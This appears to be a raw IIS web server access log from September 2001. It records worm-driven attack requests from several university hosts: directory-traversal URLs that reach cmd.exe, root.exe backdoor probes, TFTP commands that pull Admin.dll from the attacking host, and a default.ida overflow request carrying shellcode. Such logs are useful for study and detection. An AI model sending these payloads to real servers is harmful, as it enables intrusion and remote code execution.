/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010919 09:40:06: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010919 09:40:06: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010919 09:40:06: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010919 09:40:06: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010919 09:40:06: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010919 09:40:06: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010919 09:40:06: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../Admin.dll HTTP/1.0" 20010919 09:40:06: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../Admin.dll HTTP/1.0" 20010919 09:40:06: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../Admin.dll HTTP/1.0" 20010919 09:40:06: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:40:06: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:40:06: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:40:06: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010919 09:40:06: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010919 09:40:06: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010919 09:40:06: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010919 09:40:06: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010919 09:40:06: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010919 09:40:07: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010919 09:40:07: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010919 09:40:07: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010919 09:40:07: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../Admin.dll HTTP/1.0" 20010919 09:40:07: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../Admin.dll HTTP/1.0" 20010919 09:40:07: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../Admin.dll HTTP/1.0" 20010919 09:40:07: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:40:07: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:40:07: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:40:07: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010919 09:40:07: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010919 09:40:07: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010919 09:40:07: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010919 09:40:07: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010919 09:40:07: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010919 09:40:15: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010919 09:40:15: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../Admin.dll HTTP/1.0" 20010919 09:40:16: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:40:16: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010919 09:40:16: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010919 09:40:16: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010919 09:40:16: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../Admin.dll HTTP/1.0" 20010919 09:40:16: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:40:16: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010919 09:40:16: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010919 09:40:16: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010919 09:40:16: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../Admin.dll HTTP/1.0" 20010919 09:40:17: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:40:17: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010919 09:40:17: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010919 09:40:17: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010919 09:40:17: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../Admin.dll HTTP/1.0" 20010919 09:40:17: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:40:17: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010919 09:40:17: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010919 09:40:17: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010919 09:40:17: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../Admin.dll HTTP/1.0" 20010919 09:40:17: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:40:18: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010919 09:40:18: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010919 09:40:18: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010919 09:40:18: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../Admin.dll HTTP/1.0" 20010919 09:40:18: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:40:18: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010919 09:40:18: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010919 09:40:18: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010919 09:40:19: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../Admin.dll HTTP/1.0" 20010919 09:40:19: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 09:42:19: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 09:42:19: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:42:19: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:42:19: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:42:19: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:42:19: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:42:19: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:42:19: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:42:20: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:42:20: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:42:20: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:42:20: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:42:20: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:42:20: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:42:20: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:42:20: fern-220.dhcp.umass.edu [128.119.124.220] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 09:43:00: fern-220.dhcp.umass.edu [128.119.124.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 09:43:01: fern-220.dhcp.umass.edu [128.119.124.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:43:01: fern-220.dhcp.umass.edu [128.119.124.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:43:01: fern-220.dhcp.umass.edu [128.119.124.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:43:01: fern-220.dhcp.umass.edu [128.119.124.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:43:02: fern-220.dhcp.umass.edu [128.119.124.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:43:02: fern-220.dhcp.umass.edu [128.119.124.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:43:02: fern-220.dhcp.umass.edu [128.119.124.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:43:03: fern-220.dhcp.umass.edu [128.119.124.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:43:04: fern-220.dhcp.umass.edu [128.119.124.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:43:04: fern-220.dhcp.umass.edu [128.119.124.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:43:05: fern-220.dhcp.umass.edu [128.119.124.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:43:08: fern-220.dhcp.umass.edu [128.119.124.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:43:08: fern-220.dhcp.umass.edu [128.119.124.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:43:09: fern-220.dhcp.umass.edu [128.119.124.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:43:09: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010919 09:44:04: mail.sports.uga.edu [128.192.97.249] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 09:44:56: mail.sports.uga.edu [128.192.97.249] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 09:44:56: mail.sports.uga.edu [128.192.97.249] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:44:56: mail.sports.uga.edu [128.192.97.249] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:44:56: mail.sports.uga.edu [128.192.97.249] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:44:57: mail.sports.uga.edu [128.192.97.249] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:44:57: mail.sports.uga.edu [128.192.97.249] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:44:57: mail.sports.uga.edu [128.192.97.249] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:44:57: mail.sports.uga.edu [128.192.97.249] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:44:57: mail.sports.uga.edu [128.192.97.249] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:44:58: mail.sports.uga.edu [128.192.97.249] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:44:58: mail.sports.uga.edu [128.192.97.249] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:44:58: mail.sports.uga.edu [128.192.97.249] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:44:58: mail.sports.uga.edu [128.192.97.249] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:44:58: mail.sports.uga.edu [128.192.97.249] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:44:59: mail.sports.uga.edu [128.192.97.249] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:44:59: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 09:47:19: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 09:47:19: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:47:19: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:47:19: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:47:19: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:47:19: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:47:19: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:47:20: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:47:20: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:47:20: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:47:20: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:47:20: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:47:20: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:47:20: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:47:20: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:47:20: [207.115.139.110] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 09:52:28: [207.115.139.110] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 09:52:46: [207.115.139.110] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 09:53:04: [207.115.139.110] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 09:53:23: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 09:53:23: [207.115.139.110] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:53:41: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 09:53:41: [207.115.139.110] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:54:00: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:54:00: [207.115.139.110] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:54:18: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:54:18: [207.115.139.110] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:54:36: [207.115.139.110] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:54:55: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:54:55: [207.115.139.110] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:55:14: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:55:14: [207.115.139.110] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:55:32: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:55:32: [207.115.139.110] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:55:51: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:55:51: [207.115.139.110] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:56:10: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:56:10: [207.115.139.110] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:56:29: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:56:29: [207.115.139.110] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:56:47: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:56:47: [207.115.139.110] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:57:05: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:57:05: [207.115.139.110] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:57:23: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:57:24: [207.115.139.110] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:57:42: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:57:42: [207.115.139.110] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:58:00: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:58:00: [207.115.139.110] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:58:19: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:58:20: [207.115.139.110] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:58:39: [207.115.139.110] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 09:58:57: [207.115.139.110] "GET 